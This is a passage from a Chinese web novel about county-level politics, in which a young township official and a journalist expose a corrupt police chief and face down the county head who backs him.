她的身体,猛地一僵,心跳,漏跳了半拍,脸颊瞬间烫得厉害。
“没事了。”
叶凡的声音,很轻,却带着一种足以安抚人心的力量。
他将她冰凉的手指,一根一根,轻轻地从相机上掰开,然后,自然而然地,将相机接了过来。
“我来拿吧。”
“……”
苏沐-秋的脑子,一片空白,只是呆呆地看着他,任由他拿走了相机。
回镇政府的路上,那辆破旧的国产车里,气氛安静得有些暧昧。
苏沐秋坐在副驾上,双手紧张地放在膝盖上,眼睛看着窗外飞速**的夜景,余光,却总是不由自主地,瞥向身旁那个专心开车的男人。
他的侧脸,依旧沉静,仿佛刚才那场惊心动魄的博弈,对他而言,只是一件微不足道的小事。
可就是这份沉静,却让苏沐秋的心,跳得越来越快。
“你……好像一点都不怕他?”
她终于还是忍不住,打破了沉默。
“赵东来,毕竟是县**局长。”
叶凡握着方向盘的手,很稳。
“怕,他就会放过我吗?”
他转过头,看了她一眼,嘴角勾起一抹浅笑。
“有时候,你表现得越强硬,对手,反而会越忌惮。”
“因为他会怀疑,你的强硬背后,是不是藏着他看不懂的,更大的底牌。”
苏沐秋似懂非懂地点了点头。
她知道,叶凡的底牌,就是市纪委的****。
可她更清楚,能让****这张牌,在最关键的时刻,发挥出最大的威力,靠的,是叶凡那份洞察人心的算计和一锤定音的胆魄。
“今天……谢谢你。”
叶凡忽然开口。
“如果不是你的相机,一直在记录,赵东来恐怕也不会那么快就认输。”<
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br>苏-沐秋的心,猛地一甜,脸颊微红。
“我……我也没做什么。”
她小声地说道,心里却因为他这句话,而感到了一阵前所未有的满足。
能帮到他。
能和他并肩作战。
这种感觉,真好。
车子,停在了苏沐秋宿舍的楼下。
叶凡将相机还给了她。
“早点休息。”
“你也是。”
苏沐秋接过相机,却没有马上下车。
她看着叶凡,犹豫了一下,还是鼓起勇气,轻声说道。
“叶凡。”
她第一次,没有叫他“叶镇长”。
“嗯?”
“以后……要小心。”
她的声音里,满是真切的担忧。
“赵东来这种人,今天吃了这么大的亏,他一定不会善罢甘休的。”
叶凡看着她那双清澈的,写满关切的眼睛,心中一暖。
他点了点头,郑重地说道。
“我知道。”
“你放心。”
苏沐秋这才放下心来,对他展颜一笑,推门下车。
看着她上楼的背影,消失在楼道的灯光里,叶凡嘴角的笑意,才慢慢敛去,代之以一片深沉。
他发动汽车,没有回自己的宿舍,而是直接开回了镇政府。
钱国栋办公室的灯,果然还亮着。
看到叶凡推门进来,钱国栋“霍”地一下从椅子上站了起来,脸上是混杂着震惊、狂喜和后怕的复杂神情。
“你小子!你小子真是……”
他指着叶凡,激动得半天说不出一句完整的话来。
“你居然真的把赵东来那条地头蛇,给逼到绝路上了!”
叶凡给自己倒了杯水,喝了一口,才缓缓开口。
“**,坐吧。”
钱国栋这才坐下,却依旧难掩兴奋。
“我刚接到县里老朋友的电话,说赵东来连夜召开了全局大会,把柳志鹏定性为涉黑涉恶团伙的主犯,要求彻查到底!”
“他这是在断尾求生,也是在向我们,向市里,表决心啊!”
“痛快!太痛快了!”
兴奋过后,钱国栋的脸色,又沉了下来。
“可是叶凡,你今晚这一手,玩得太大了。”
“你虽然赢了,但也等于,是和赵东来,彻底撕破了脸。”
“他这只笑面虎,比柳传明那只老狐狸,更难对付。”
“明枪易躲,暗箭难防啊!”
叶凡放下水杯,走到窗边,看着窗外沉沉的夜色。
“**,您觉得,赵东来今晚,真的是为了帮柳志鹏出头吗?”
钱国栋一愣。
“难道不是?”
叶凡摇了摇头,眼中闪过一丝锐利的光芒。
“柳志鹏,还没那么大的面子。”
“赵东来,是想借着这个由头,来敲打我,试探我。”
“或者说,是试探,我背后的人。”
钱国栋的瞳孔,猛地一缩。
“你的意思是……赵东来的背后,还有人?”
“青川县的水,比我们想象的,要深得多。”
叶凡转过身,一字一句地说道。
“今晚,我看似赢了赵东来。”
“实际上,我只是赢了台前的一只木偶。”
“那个真正躲在幕后,提着线的猎人,我甚至,都还没看到他的影子。”
钱国栋倒吸一口凉气,一股寒意,从脚底,直冲天灵盖。
他看着眼前这个年轻人,那平静的语气里,透出的,是对整个青川县权力格局的,冷静而可怕的剖析。
“那……那你今晚这么做,不是更危险了吗?”
“不。”
叶凡的嘴角,缓缓勾起一抹冰冷的弧度。
“我就是要用最狠的方式,打断木偶的腿。”
“我要让那个藏在后面的猎人看看。”
“我这只蝉,不仅有声音,还有,锋利的牙。”
第40章 余波与棋子!
钱国栋看着叶凡,眼神中的震惊与骇然,如同退潮后的礁石,久久地裸露在空气中,无法消散。
他终于彻底明白,叶凡今晚用一通电话打掉的不仅仅是赵东来那嚣张的威风。
他打乱的是整个青川县隐藏在水面之下,那盘早已固定了走法的权力棋局。
钱国栋深吸一口气,走到门口,警惕地看了一眼走廊,然后反锁了办公室的门。
他压低了声音,语气前所未有的凝重。
“叶凡,你知不知道赵东来是谁的人?”
叶凡看着他,没有说话,等待着下文。
“在青川县,县委**张海涛和县长赵卫东,是两座山。”
“张**是从省里空降下来的,根基尚浅,主张稳健发展。”
“而赵卫东是本土派的代表,在青川经营多年,人脉根深蒂固,行事风格大开大合,也更加霸道。”
“两人之间明面上和和气气,暗地里早已是水火不容。”
钱国栋的每一句话,都为叶凡勾勒出一幅更加凶险的地图。
“而**局长赵东来就是县长赵卫东手上最硬的一把刀,是他最铁杆的亲信!”
“他们不仅是**上的盟友,据说两人祖上还攀着远亲关系。”
钱国栋死死地盯着叶凡,一字一顿地说道:“所以你今晚得罪的,根本不是赵东来一个人!”
“你得罪的是以县长赵卫东为首的,整个利益集团!”
“赵卫东这个人,我跟他打过交道,他比柳传明那种老狐狸要可怕得多。”
“柳传明是傲,而赵卫东,是阴。”
“他从不轻易出手,但一旦出手,后续的报复,将会是无声无息,却又招招致命的。”
办公室里,陷入了死一般的沉寂。
钱国栋的警告像一座无形的大山,沉甸甸地压在空气里。
许久,叶凡才缓缓开口,神色依旧平静得可怕。
他看着钱国栋,反问道:“**,从我决定插手平安村这件事开始,您觉得我还有可能独善其身吗?”
钱国栋猛地一愣。
“我们是棋子。”叶凡的目光穿透窗外的黑暗,仿佛看到了那张无形的棋盘。
“但棋子,也有掀翻棋盘的权利。”
这句话,像一道惊雷,狠狠劈在钱国栋的心上!
他看着眼前这个年轻人,那份超乎年龄的胆气与魄力,让他浑浊多年的血液,竟也隐隐有了沸腾的迹象。
是啊,他自己当了一辈子谨小慎微的棋子,到头来不还是被排挤到这个位置,等着退休等死吗?
“好!”
钱国栋一拳砸在桌上,眼中爆发出久违的光芒。
“说得好!棋子也有掀翻棋盘的权利!”
“你放心大胆地干!”
“我这把老骨头,虽然马上要退了,但在县里,还有几个信得过的老伙计。”
“从今天起,我就是你的‘眼睛’和‘耳朵’,县里有任何风吹草动,我都会第一时间告诉你!”
这一刻,这位即将退休的老干部将自己最后的**筹码,全部押在了叶凡的身上。
……
另一边,苏沐秋几乎是逃也似的跑回了宿舍。
她反锁上门,背靠着门板,心脏还在“怦怦”地剧烈跳动。
叶凡覆在她手背上的温度,似乎还未散去。
她甩了甩头,强迫自己冷静下来,立刻打开电脑,将相机里的照片和视频,分门别类地做了三份备份,分别存在了不同的加密硬盘里。
她点开那段视频。
视频里,叶凡面对赵东来的威逼,舌战群雄,那份从容与锐利,让她百看不厌。
当视频播放到柳志鹏狗急跳墙,嘶吼出那句“你收了我爸多少钱”时,苏沐秋按下了暂停键。
她知道,这短短的几个字,就是一把足以将赵东来彻底钉死在耻辱柱上的,铁证!
一个念头,在她心中升起。
曝光它!
只要将这段视频公之于众,赵东来立刻就会身败名裂!
但,另一个声音却在警告她。
一旦曝光,就等于将叶凡彻底推到了那些人的对立面,让他立刻成为那头笑面虎的眼中钉,肉中刺。
苏沐秋的内心陷入了天人交战。
良久,她深吸一口气,眼神重新变得坚定。
她不能那么自私。
她不能为了所谓的“保护”,就将这把最锋利的武器藏起来。
对付豺狼,最好的保护,就是让他知道,你的手里,有枪!
她没有选择直接在网络上曝光,而是新建了一个文档。
她要写的是一篇措辞更加犀利,分析更加深刻,直指“保护伞”问题的内参报道。
这篇报道,不会引起**的狂欢,但它会像一把精准的手术刀,通过特殊的渠道,悄无声息地递交到**,乃至省委领导的案头上。
这,才是对叶凡,最好的保护!
……
第二天一早,阳光正好。
叶凡的手机,准时响起。
看到来电显示的名
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字,他的嘴角微微上扬。
是市纪委副**,**。
“叶凡同志,昨晚的事,我都知道了。”**的声音听不出喜怒,却带着一种不容置疑的威严。
“处置得很果断,也很有智慧。”
这句肯定,意味着叶凡昨晚的险棋,走对了。
“不过,”**话锋一转,“青川县的盖子比我们想象的要捂得更严实。”
“柳志鹏和赵东来相关的全部证据材料,包括那位女记者手里的原始视频,你整理一份详细的报告,绕开县里,秘密提交给调查组。”
**的声音沉了下去。
“市里准备借着这个机会,好好净化一下青川县的空气。”
叶凡的心微微一凛。
他立刻就明白了**的言外之意。
****这是要将他当成一把探进青川县这个“脓疮”里的,手术刀!
这既是滔天的风险,也是千载难逢的机遇!
“是!我明白了,王**!”叶凡沉声应道。
挂断电话,他正准备联系苏沐秋,手机却再次不合时宜地响了起来。
是一个陌生的本地号码。
叶凡的眉头微微一挑,按下了接听键。
电话那头沉默了片刻,随即传来一个温和得如同春风拂面,却又带着一丝上位者特有压迫感的声音。
“是叶凡同志吗?”
“你好,我是县长,赵卫东。”
来了。
那只隐藏在黄雀身后的,真正的猎人终于亲自下场了。
“赵县长,您好。”
叶凡的语气不卑不亢。
“呵呵,叶凡同志,年轻有为啊!”赵卫东的笑声听起来格外爽朗。
“平安村的事情,我听说了,处理得非常好!有担当,有智慧,是我们青川县年轻干部里的表率!”
他先是毫不吝啬地,给予了高度的赞扬。
随即,话锋陡然一转,那温和的语气里渗出了一丝冰冷的寒意。
“不过嘛,年轻人有冲劲是好事,但也要注意方式方法。”
“千万,不要被一些别有用心的人,当枪使了。”
这句话,一语双关。
既是在警告叶凡,不要和市纪委走得太近,与他为敌。
也是在赤裸裸地威胁他。
你,斗不过我。
叶凡握着电话,没有说话,脸上甚至还带着一丝微笑。
可他的眼神却已经冰冷如铁。
他知道,从这一刻起,幕后真正的猎人已经正式向他宣战了。
第41章 敲山震虎,引蛇出洞!
电话挂断,办公室里的空气仿佛凝结成了冰。
赵卫东那温和语气下包裹的是淬了剧毒的威胁。
钱国栋的脸上满是化不开的忧虑。
然而,叶凡的脸上却看不到丝毫的惧色,那双深邃的眼眸里反而燃起了一簇更加炽烈的火焰。
他知道,一味的退让和防守,最终只会被这头笑面虎,无声无息地吞噬得连骨头都不剩。
想要活下去,想要赢,就必须主动出击,用更锋利的牙齿,去撕开对方的伪装!
“**,您不用担心。”叶凡的声音,冷静得像是在陈述一个手术方案。
他从抽屉里,拿出了苏沐秋给他的那个黑色U盘,轻轻放在桌上。
“柳志鹏和赵东来,只是赵卫东推到台前的两颗棋子。”
“我们要做的不是去攻击赵卫东本人,而是要废掉他手里的棋子,让他变成一个光杆司令。”
叶凡将U盘插入电脑,屏幕上很快出现了两个独立的文件夹。
“这是第一份材料,关于鹏程建材****的详细证据。”
“这是第二份材料,是昨晚柳志鹏在村口,亲口喊出赵东来收钱的完整录音。”
钱国栋凑上前,眼神瞬间变得锐利。
“你打算怎么用?”
“第一份,是用来‘敲山’的。”叶凡的指尖,在第一个文件夹上轻轻一点。
“我们把它,以匿名举报的方式,递交给县税务局和县纪委。”
“目标是柳志鹏,但实际上,是敲给县长赵卫东听的。”
“我要让他知道,我手里有牌,而且,我敢打。”
钱国栋点了点头,目光转向第二个文件夹,呼吸微微一滞。
“那这个呢?这可是能把赵东来一锤钉死的铁证!”
“这个,是用来‘震虎’的。”叶凡的嘴角,勾起一抹冰冷的弧度。
他将U盘拔了下来,重新放回口袋。
“这张牌,现在还不能亮。”
“要等老虎最饥饿,最疯狂,最意想不到的时候,再打出来,才能一击致命。”
钱国栋看着叶凡,心中那点残存的担忧,彻底被一股滔天的震撼所取代。
这个年轻人,哪里是在官场博弈,他分明是在进行一场最精密的外科手术!
当天下午,一封匿名的**,通过钱国栋的老关系,悄无声息地,同时摆在了县税务局局长和县纪委**的办公桌上。
面对这种证据确凿的举报,税务局不敢有丝毫怠慢,立刻成立了专项调查组,火速进驻了柳志鹏的“鹏程建材”。
不查不知道,一查吓一跳。
账目上的亏空,远比**里提到的要大得多,简直就是一个烂到了根子里的空壳公司!
柳志鹏的罪名,在“涉黑涉恶”的基础上,又被加上了“巨额****”这浓重的一笔。
消息,第一时间传到了县长赵卫东的耳朵里。
县政府大楼,顶层办公室。
“砰!”
一只名贵的紫砂茶杯,被狠狠地摔在地上,四分五裂。
赵卫东的脸上再也没有了那如沐春风的温和,取而代之的是阴沉到几乎要滴出水来的狰狞。
他没想到,叶凡这个他眼中的蝼蚁,非但没有被他的敲打吓住,反而敢变本加厉,继续穷追猛打!
这已经不是挑衅了。
这是在当众,打他赵卫东的脸!
他立刻一个电话,将赵东来召到了办公室。
“三天!”
赵卫东的眼睛,像毒蛇一样盯着汗如雨下的赵东来。
“我给你三天时间,把这件事,给我处理干净!”
“我不管你用什么方法,绝对不能让这把火,烧到我身上来!”
赵东来走出县长办公室的时候,双腿都在发软,后背的衬衫早已被冷汗湿透。
他知道,自己已经被赵卫东当成了弃子。
三天时间,处理干净?怎么处理?
人证物证俱在,他已经成了一条被架在火上烤的死鱼!
绝望之下,一个疯狂的念头,在他心中滋生。
既然已经无法脱身,那就只能销毁证据,嫁祸于人!
他把目标,锁定在了那个让他身败名裂的源头——苏沐秋!
只要拿到她手里的原始视频和照片,再让她“闭嘴”,自己就还有一线生机!
深夜,青山镇报社的招待所,一片寂静。
两道黑影如同鬼魅一般,借着夜色的掩护,悄无声息地潜入了宿舍楼。
他们是赵东来派出的心腹便衣。
目标,三楼,苏沐秋的房间。
然而,他们不知道的是,叶凡早已料到赵东来会狗急跳墙。
一张无形的大网,正在他们头顶,缓缓张开。
“沐秋,今晚可能会有客人,按我说的做,不要怕。”
叶凡下午打来的电话,还在苏沐秋耳边回响。
此刻,她正躲在卧室的衣柜里,心跳如鼓,但眼神却异常坚定。
她透过衣柜的缝隙,紧紧盯着客厅的门,手里,则死
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死攥着一部正在全程录像的手机。
客厅的桌子上,一个与她平时所用一模一样的相机包,正静静地摆在最显眼的位置。
“咔哒。”
一声轻微的异响,门锁被从外面用工具撬开。
两个黑影闪了进来,他们动作熟练,直奔客厅的桌子,一把抓起那个相机包,脸上露出了得意的笑容。
然而,就在他们转身准备离开的瞬间!
“不许动!警察!”
楼道里,灯光大亮!
镇派出所的干警在钱国栋的亲自带领下,如神兵天降,将门口堵得水泄不通!
楼下,更是被钱国栋发动来的数十名平安村村民,围得里三层外三层!
人赃并获!
两名便衣的脸瞬间变得惨白,手里的相机包“啪”地一声掉在了地上。
面对这突如其来的变故,其中一名便衣在惊慌之下,竟急中生智,指着从卧室里走出来的苏沐秋,倒打一耙。
“是她!是她勾引我们!”
“她说她仰慕我们**干警,约我们深夜过来,然后故意把相机放在这里,想陷害我们!”
这番荒谬绝伦的辩解,让在场所有人都惊呆了。
随即,便是冲天的愤怒!
“无耻!太无耻了!”钱国栋气得浑身发抖。
苏沐秋更是被气得俏脸通红,她没有争辩,只是举起了自己一直紧握在手中的手机。
她按下了播放键。
“嘿嘿,搞定!这小娘们的胆子也太大了,这种东西都敢拍,真是不知死活。”
“快走!等赵局拿到了东西,咱们兄弟俩,这次可就立了大功了!”
手机里,两名便衣鬼鬼祟祟的行径,以及他们得手后那段得意的对话,被录得一清二楚!
声音响亮,回荡在寂静的楼道里。
铁证如山!
两名便衣的脸彻底变成了死灰色,双腿一软,瘫倒在地。
消息以最快的速度,传回了县**局。
局长办公室里,赵东来正焦躁地等待着消息。
当电话响起,听完那头心腹颤抖的汇报后,他手里的电话“咣当”一声滑落在地。
整个人像是被抽走了所有的骨头,彻底瘫软在了那张象征着权力的真皮座椅上。
他知道,自己完了。
他本想引蛇出洞。
却没想到,叶凡这条他眼中的“蛇”,不仅被他引了出来,还反过头,一口死死地咬住了他的七寸。
他,已经没有任何退路了。
第42章 致命一击,新的战场!
“便衣警察深夜撬锁,意图**记者关键物证!”
这个标题,如同一颗深水**,在天亮之前,就已在青川县的各个角落,引爆了滔天的**巨浪。
始作俑者,正是苏沐秋。
她没有丝毫犹豫,在钱国栋带人控制住现场后,连夜将所有证据,包括那份早已写好,直指“保护伞”问题的内参报道,通过她特殊的渠道,一并捅到了省里的几家主流媒体平台。
纸,终究包不住火。
尤其是,当这把火,已经被人从内部,浇上了一桶滚烫的汽油。
县长赵卫东,彻底坐不住了。
他坐在自己宽大的办公室里,一夜未眠,那张往日里总是挂着温和笑意的脸,此刻铁青一片,眼中的阴鸷,几乎要化为实质。
他低估了叶凡,更低估了那个看似柔弱的女记者。
他以为自己丢出去的,是一颗可以随时牺牲的棋子。
却没想到,赵东来这颗棋子,不仅没能砸死对手,反而变成了一颗即将引爆自身的,定时**!
“断尾求生!”
这是赵卫东脑海里,唯一的念头。
他当机立断,立刻通知县委办公室,召开紧急**会。
会议上,赵卫东痛心疾首,义正言辞,宣布赵东来同志“辜负了组织和人民的信任,造成了极其恶劣的社会影响”,并提议对其立即“停职调查”。
他试图用这种壮士断腕的姿态,将自己和这摊污水,彻底撇清关系。
他以为,这样就能掌控住局面,将大事化小,小事化了。
但**,叶凡,根本就没打算给他这个机会。
青山镇,镇政府办公室。
叶凡看着手机新闻上弹出的“青川县**局长赵东来被停职调查”的快讯,嘴角,露出了一丝冰冷的讥诮。
仅仅是停职调查?
以赵卫东在青川县盘根错节的势力,最后的结果,无非是让赵东来把所有罪名一个人扛下来,找个无关痛痒的理由,高高举起,轻轻放下。
他绝不允许这种事情发生。
叶凡拿起手机,从容地,拨通了那个决定了无数人命运的号码。
电话那头,依旧是**沉稳威严的声音。
“王**。”
叶凡没有多余的寒暄,直接切入主题。
他将赵东来指使手下,深夜撬锁,**证据的完整视频,连同那段足以将赵东来彻底钉死的,“收钱”录音,一并发送了过去。
然后,他平静地,对着电话说道:
“王**,老虎已经被震慑住了,现在,是时候收网了。”
电话那头,沉默了足足有十几秒。
**被叶凡这份超乎寻常的果决和智谋,深深地撼动了。
这个年轻人,不仅有胆魄,更有手段,他每一步都踩在最关键的节点上,每一次出击,都打在对手最脆弱的七寸!
“好。”
**只说了一个字,却重如千钧。
他立刻拿着这份堪称“致命一击”的证据,敲开了**一号,高建国**的办公室大门。
高建国看完所有材料,听完**的汇报,一言不发,只是用手指,重重地敲了敲桌子。
“提**!由市纪委,直接介入!”
高建国最终拍板,声音铿锵有力。
当天下午,青川县的天,变了。
三辆挂着江城市牌照的黑色轿车,没有在县委、县政府做任何停留,在全县干部群众无数道惊疑不定的目光注视下,直接驶入了县**局的大院。
车门打开,走下来的是市纪委的办案人员,他们表情严肃,径直走进了那间刚刚贴上封条的局长办公室。
他们从县纪委派来的“调查组”手中,直接带走了面如死灰的赵东来。
整个过程,不到十分钟。
这一幕,如同一记响亮到极点的耳光,狠狠地抽在了所有人的脸上。
所有人都明白,赵东来,彻底完了。
而他背后那座一直试图与他切割的大山,县长赵卫东,也已经被这把从天而降的大火,架在了上面,无处可逃。
江城市,市政府会议室。
柳如烟正心不在焉地听着台上领导的报告,手机屏幕亮起,弹出一条本地新闻快讯。
“青川县**局长赵东来涉嫌严重违纪违法,被市纪委带走调查。”
她的心,猛地一跳。
她点开新闻,
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详细的报道中,事件的起因被清晰地梳理出来,而一个名字,像一根刺,狠狠地扎进了她的眼睛里。
青山镇副镇长,叶凡。
又是他!
柳如烟看着那个熟悉到骨子里的名字,只觉得一阵天旋地转,眼前发黑。
从扳倒她的父亲柳传明,那个在她眼中高不可攀的市宣传部副部长。
到如今,以一个乡镇副镇长的身份,撼动整个县的政局,将县长的心腹干将,亲手送进纪委的大门。
这个被她鄙夷为“废物”,被她亲手抛弃的男人,不知不觉间,已经成长到了一个她需要仰望,甚至感到恐惧的高度。
无尽的悔恨,如同冰冷的海水,再次将她彻底淹没。
她握着手机的手,在剧烈地颤抖。
青山镇的危机,随着赵东来的倒台,彻底解除。
平安村的石料厂被依法关停,后续的生态修复和村民补偿项目,在市里的直接关注下,以前所未有的速度,高效推进。
叶凡在青山镇的威望,达到了前所未有的顶峰。
钱国栋的办公室里,他亲手为叶凡泡上了一杯最好的大红袍。
“叶凡啊,你这一手,玩得是真漂亮!”
钱国栋看着眼前这个意气风发的年轻人,眼神里满是感慨与赞叹。
“我算是看明白了,这小小的青山镇,怕是留不住你这条潜龙了。”
叶凡笑了笑,刚想说些什么。
“铃铃铃——”
他办公室的座机电话,突兀地响了起来。
叶凡走过去,接起电话。
电话那头,传来一个公事公办,却又暗藏着一丝冰冷的声音。
“是叶凡镇长吗?”
“我是县长秘书,王海。”
“赵县长想和你谈一谈。”
“请你现在,立刻到县政府三楼,他的办公室来。”
叶凡握着听筒,眼神平静,却又锐利如刀。
他知道。
打掉了对方的“车”。
吃掉了对方的“马”。
自己这个过了河的小“兵”,终于要和对方的“帅”,面对面地,在这张棋盘上,进行最后的搏杀了。
新的战场,已经开启。
第43章 与虎谋皮,寸步不让!
电话挂断,听筒里只剩下“嘟嘟”的忙音。
钱国栋的脸色却比刚才听到赵东来倒台时还要凝重,他一把按住叶凡的手臂,声音都有些发紧:“叶凡,不能去!这百分百是鸿门宴!”
他急得在办公室里来回踱步,花白的头发都仿佛又白了几分。
“赵卫东这个人,我清楚得很!他就是一条笑面虎,心胸狭隘,睚眦必报!你把他最得力的刀都给掰断了,他现在叫你过去,还能有什么好事?他这是要关起门来,把你这只出头鸟,彻底按死在泥里!”
面对钱国栋几乎是失态的劝阻,叶凡的眼神却异常平静。
他反手轻轻拍了拍老**的肩膀,那份镇定,反而让钱国栋焦躁的心安定了几分。
“**,我不是去挨打的。”叶凡的声音很轻,却透着一股不容置疑的力量。
“我是去……跟他谈判的。”
出发前,叶凡拨通了苏沐秋的电话。
“我要去县政府一趟。”他的语气很平静,就像在说一件寻常小事,“一个小时后,等我电话。”
电话那头的苏沐秋冰雪聪明,瞬间就明白了这通电话背后,是何等惊心动魄的凶险。
她没有多问一句废话,声音里没有半分柔弱,只有一种生死相托的坚定。
“好,我等你。如果你不打来,我就把所有东西都发出去。”
这便是两人之间,心照不宣的约定。
县政府大楼庄严肃穆,叶凡独自一人,走上台阶。
县长秘书王海早已等在门口,三十岁出头的年纪,一身笔挺的西装,金丝眼镜背后,是一双审视的眼睛。
“叶凡镇长,真是年轻有为啊。”王海脸上挂着皮笑肉不笑的表情,主动伸出手,握手时却只用了两个指尖轻轻一碰,那份居高临下的傲慢,不加掩饰。
“赵县长日理万机,还能抽出时间亲自过问青山镇的工作,真是我们基层的荣幸。”他一边引路,一边看似随意地说道,“不过年轻人嘛,有干劲是好事,但也要懂得韬光养晦。锋芒太露,有时候,容易伤到自己。”
叶凡全程神色淡然,嘴角甚至还挂着一丝礼貌的微笑,仿佛根本没听出任何弦外之音。
“王秘书说的是,我一定牢记领导教诲。”
一拳拳的下马威,全都打在了棉花上,让王海的脸色,微微有些难看。
推开那扇厚重的实木门,一股混杂着墨香与檀香的气息扑面而来。
县长赵卫东,并没有坐在那张象征着权力的巨大办公桌后。
他穿着一身宽松的唐装,正站在一张红木书案前,气定神闲地练着书法。
他没有抬头,甚至没有看叶凡一眼。
宽大的办公室里,只有那支狼毫毛笔在宣纸上摩擦时,发出的“沙沙”声。
一股无形的,属于上位者的威压,如同水银泻地,瞬间笼罩了整个空间,压得人几乎喘不过气。
王海悄无声息地退了出去,并轻轻带上了门。
叶凡就那么静静地站着,不卑不亢,眼神平静地欣赏着墙上那副“宁静致远”的字画,仿佛自己不是来接受审判的阶下囚,而是来参观艺术展的客人。
时间,一分一秒地过去。
这无声的较量,比任何激烈的言语交锋,都更考验人的心性。
终于,赵卫东写完最后一个字,缓缓收笔。
他将毛笔放在笔洗上,这才抬起头,脸上瞬间绽放出如春风般和煦的笑容,仿佛刚才那个将叶凡晾在一旁的,根本不是他。
“叶凡同志,来啦,坐。”
他指了指对面的沙发,亲自走过来,给叶凡倒了一杯茶。
“平安村的事,我都知道了。处理得非常好!有担当,有智慧,是我们青川县年轻干部里的表率啊!”
赵卫东毫不吝啬地给予了高度的赞扬,那亲切的态度,仿佛叶凡是他的得意门生。
“青山镇那个小池子,终究是有些屈才了。”他话锋一转,看似关切地说道,“我跟组织部打了招呼,准备把你调到县发改委,担任副主任。平台更大,也更能施展你的才华嘛。”
典型的明升暗降。
将叶凡从他已经经营出威望和根基的青山镇调离,放到一个看似重要,实则处处受掣肘的实权部门当副手,用不了三个月,就能让他变成一个无兵可调、无事可做的边缘人。
叶凡微笑着,轻轻将茶杯放下。
“感谢赵县长厚爱。只是,平安村的生态修复项目才刚刚开了个头,后续的村民安置和产业转型,还有一大堆工作等着我。我对青山镇的百姓有过承诺,不能半途而废。”
他将个人的前途,与“为民办事”的**正确,死死地捆绑在了一起,让人挑不出半点错处。
赵卫东脸上的笑容,渐渐消失了。
办公室里的空气,也随之冷却下来。
他靠在沙发上,手指轻轻敲击着扶手,语气变得冰冷,像是随意闲聊,却字字诛心。
“叶凡同志,我听说你以前是柳传明家部长的女婿?可惜了……”
“年轻人,没有根基,做事又太锋利,是很容易折断的。”
赤裸裸的威胁,直指叶凡“无根浮萍”的软肋。整个青川县都知道,他叶凡,无依无靠。
然而,叶凡非但没有被吓住,反而笑了。
他直视着赵卫东那双阴沉的眼睛,平静地说道:“赵县长,您说得对,我无根无萍,烂命一条。”
“不过来之前,我把赵东来在村口亲口承认收受柳传明贿赂的完整录音,连同他指使手下撬锁**的所有证据,加密发给了一个绝对信得过的朋友。”
赵卫东敲击扶的手指,猛地停住了。
叶凡站起身,向前踏出一步,那股从容不迫的气势,竟反过来压过了沙发上的赵卫东。
“我跟他约定,如果我今天不能安然无恙地走出这栋大楼,他就会把所有东西,同时递交给省纪委和中央巡视组。”
“我烂命一条,**不可惜。但如果我出了事,赵县长您……恐怕就得陪我一起,上一次全国新闻了。”
寂
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静。
死一般的寂静。
赵卫东的脸色以肉眼可见的速度,由铁青转为煞白!
他像看一个怪物一样看着叶凡,他做梦也想不到,这个他眼中可以随意拿捏的“小兵”,竟敢用这种掀桌子、同归于尽的方式,跟他这尊“帅”,当面对弈!
他感受到了彻骨的寒意。
他忽然惊恐地发现,自己根本捏不住这个年轻人的任何命门,反而被对方,死死地扼住了喉咙!
不知过了多久,赵卫**然放声大笑起来,笑声却无比干涩,像是破旧的风箱在拉扯。
“好!好一个叶凡!”
他一字一顿地说道,仿佛要将这个名字,刻进自己的骨头里。
“我记住你了!”
他做出了**的让步:“青山镇的项目,县里会全力支持!我再给你追加五十万的专项资金!”
叶凡却没有见好就收。
他乘胜追击,提出了一个让赵卫东几乎要当场吐血的要求。
“感谢县长支持。但比起资金,青山镇现在更需要政策。”
“我希望能以青山镇为试点,在全县率先推行‘城乡医疗一体化改革’,恳请县长您,能为我们开这个绿灯。”
这已经不是谈判了。
这是在逼宫!
逼着他赵卫东,用自己的**资源,为叶凡未来的政绩和晋升,亲自铺路!
赵卫东死死地盯着叶凡,胸口剧烈地起伏着,他几乎是从牙缝里,一个字一个字地,挤出了那个字。
“好。”
叶凡走后,办公室里传来一声巨响,那方名贵的端砚,被狠狠地砸在了地上,碎成了几块。
走出县政府大楼,正午的阳光有些刺眼。
叶凡深吸了一口带着尘土味的空气,只感到一阵虚脱。
与虎谋皮,耗费的心神,远比任何一场手术都要巨大。
不远处,苏沐秋正像一只热锅上的蚂蚁,焦急地来回踱步。
看到叶凡的身影,她眼睛一亮,不顾一切地冲了过来。
她什么也没说,只是张开双臂,紧紧地,紧紧地抱住了他。
那微微颤抖的身体,隔着薄薄的衬衫,清晰地传递过来。
叶凡能感受到,她刚才承受了多大的恐惧和压力。
一股暖流,涌上心头。
叶凡轻轻地拍着她的后背,在她耳边柔声说:“没事了,我赢了。”
怀中的苏沐秋,这才仿佛松了一口气,身体慢慢软了下来。
就在这时,叶凡的手机,突兀地响了起来。
是钱国栋。
电话一接通,就传来老**激动到变调的声音。
“叶凡!快!快看县委组织部的内部公示网!”
“赵卫东……赵卫东刚刚在**会上亲自提名,任命你为……县卫生局党组成员、副局长!”
叶凡和怀中的苏沐秋,同时愣住了。
这突如其来的任命,是赵卫东的示好?拉拢?
还是一个新的,更加凶险的陷阱?
一场恶战刚刚结束,新的战场,已然开启!
第44章 新战场,群狼环伺!
副局长?
苏沐秋猛地松开手,那份劫后余生的喜悦还未来得及在脸上完全绽放,就被一层更深的忧虑所取代。
她抓住叶凡的手臂,指尖冰凉,声音急切。
“这是赵卫东的毒酒!他要把你从青山镇这个根基上,活生生地拔走!”
叶凡反手握住她冰凉的手,掌心的温度传递着安抚的力量,眼神却冷静得可怕。
“没错,这是典型的‘明升暗降’,也是‘调虎离山’。我在青山镇,有百姓支持,有项目在手,他动不了我。到了县里,我就是无根的浮萍,任他拿捏。”
苏沐秋看着他,眼中的担忧渐渐化为一种并肩作战的决绝。
“不管你去哪,我就是你的眼睛和耳朵,县里任何风吹草动,我都会盯着!”
回到镇政府,钱国栋早已在办公室里急得团团转,像一只被关在笼子里的老虎。
他一把将叶凡拉进办公室,反锁上门,语气前所未有的凝重。
“卫生局就是个龙潭虎穴!局长马德龙,外号‘马弥勒’,是个临退休的老油条,见谁都笑呵呵,谁也不得罪。另外两个副局长,一个叫李胜利,是赵卫东的铁杆;另一个叫周建,是县委张**的人。这两人为了争位子,斗得跟乌眼鸡一样,局里早就被他们搞得乌烟瘴气。”
钱国栋死死盯着叶凡,一针见血地指出了最阴毒的一招。
“你这个新来的第三副局长,就是赵卫东扔进去,吸引火力的靶子!我敢打赌,他们一定会把那个积压了两年、谁碰谁死的‘全县药品集中采购改革’的烂摊子,第一时间丢给你!”
